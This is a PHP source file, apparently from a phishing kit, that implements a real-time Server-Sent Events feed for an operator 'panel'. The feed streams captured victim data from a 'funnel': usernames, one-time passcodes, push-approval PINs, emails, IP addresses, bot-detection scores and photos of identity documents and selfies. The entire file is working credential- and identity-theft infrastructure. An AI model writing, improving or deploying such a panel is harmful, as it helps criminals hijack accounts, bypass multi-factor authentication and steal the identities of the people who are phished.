File size: 4,428 Bytes
8852d8c
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
<?php
/**
 * sse.php — Server-Sent Events endpoint for real-time panel updates.
 *
 * Works through any HTTP reverse proxy (including HF Spaces). The funnel
 * continues using HTTP REST (api.php) to submit data. This endpoint polls
 * the same SQLite database every ~300ms and pushes changes as SSE events.
 *
 * Connect from JS: new EventSource('sse.php');
 *
 * Event format:
 *   event: updates\n
 *   data: {"rows":[...],"events":[...],"captures":[...]}
 *   \n\n
 *
 * Last-Event-ID support: sends the last event as part of the retry header.
 * Client reconnects automatically with SSE built-in retry.
 */
declare(strict_types=1);

require_once __DIR__ . '/lib.php';

header('Access-Control-Allow-Origin: *');
header('Content-Type: text/event-stream; charset=utf-8');
header('Cache-Control: no-cache, no-store, must-revalidate');
header('Connection: keep-alive');
header('X-Accel-Buffering: no');

if (($_SERVER['REQUEST_METHOD'] ?? '') === 'OPTIONS') {
    http_response_code(204);
    exit;
}

/** Snapshot of current DB state + captures manifest. */
function sse_snapshot(): array
{
    global $manifestFile;
    $rows = [];
    $events = [];
    $captures = [];

    try {
        $pdo = ofb_db();
        $cutoff = date('Y-m-d H:i:s', time() - 600);
        $pdo->prepare('DELETE FROM live_users WHERE last_seen IS NULL OR last_seen = ? OR last_seen < ?')
            ->execute(['', $cutoff]);

        $cols = 'client_id, ip_address, user_agent, device, bot, current_page, status, '
            . 'username, otp, push_state, push_pin, push_bio, email, provider, stage, '
            . 'last_seen, verified_at, doc_type, capture_front, capture_back, capture_selfie, '
            . 'bot_score, bot_reasons, capture_cloud';
        $st = $pdo->query('SELECT ' . $cols . ' FROM live_users ORDER BY last_seen DESC');
        foreach ($st as $row) {
            $rows[] = $row;
        }

        $st2 = $pdo->query('SELECT client_id, ts, page, kind, detail FROM live_events ORDER BY id DESC LIMIT 30');
        $events = array_reverse($st2->fetchAll());
    } catch (Throwable $e) {
        // best-effort
    }

    // Captures manifest
    $manifestFile = __DIR__ . '/captures/manifest.jsonl';
    if (is_file($manifestFile)) {
        try {
            $raw = @file_get_contents($manifestFile);
            if (is_string($raw) && $raw !== '') {
                foreach (explode("\n", $raw) as $line) {
                    $line = trim($line);
                    if ($line === '') {
                        continue;
                    }
                    $j = json_decode($line, true);
                    if (is_array($j)) {
                        $captures[] = $j;
                    }
                }
            }
        } catch (Throwable $e) {
            // best-effort
        }
    }

    return ['rows' => $rows, 'events' => $events, 'captures' => $captures];
}

// SSE preamble
echo "retry: 2000\n\n";
flush();

$lastSnapshot = null;
$lastEventId = isset($_SERVER['HTTP_LAST_EVENT_ID']) ? (int) $_SERVER['HTTP_LAST_EVENT_ID'] : 0;
$eventId = 0;

// Send an immediate snapshot
$initial = sse_snapshot();
$lastSnapshot = $initial;
$eventId++;
echo "event: updates\n";
echo "id: $eventId\n";
echo 'data: ' . json_encode(['type' => 'updates'] + $initial, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) . "\n\n";
flush();

// Poll loop — runs until the client disconnects
$maxRuntime = 55; // seconds — HF Spaces may timeout idle connections
$startTime = time();

while (true) {
    // Check for client disconnect
    if (connection_aborted()) {
        break;
    }

    // Timeout guard
    if (time() - $startTime >= $maxRuntime) {
        echo "event: timeout\n";
        echo 'data: {"type":"timeout"}' . "\n\n";
        flush();
        break;
    }

    usleep(300000); // 300 ms

    $current = sse_snapshot();

    // Diff check
    $change = false;
    foreach (['rows', 'events', 'captures'] as $key) {
        $c = json_encode($current[$key] ?? []);
        $l = json_encode($lastSnapshot[$key] ?? []);
        if ($c !== $l) {
            $change = true;
            break;
        }
    }

    if ($change) {
        $lastSnapshot = $current;
        $eventId++;
        echo "event: updates\n";
        echo "id: $eventId\n";
        echo 'data: ' . json_encode(['type' => 'updates'] + $current, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) . "\n\n";
        flush();
    }
}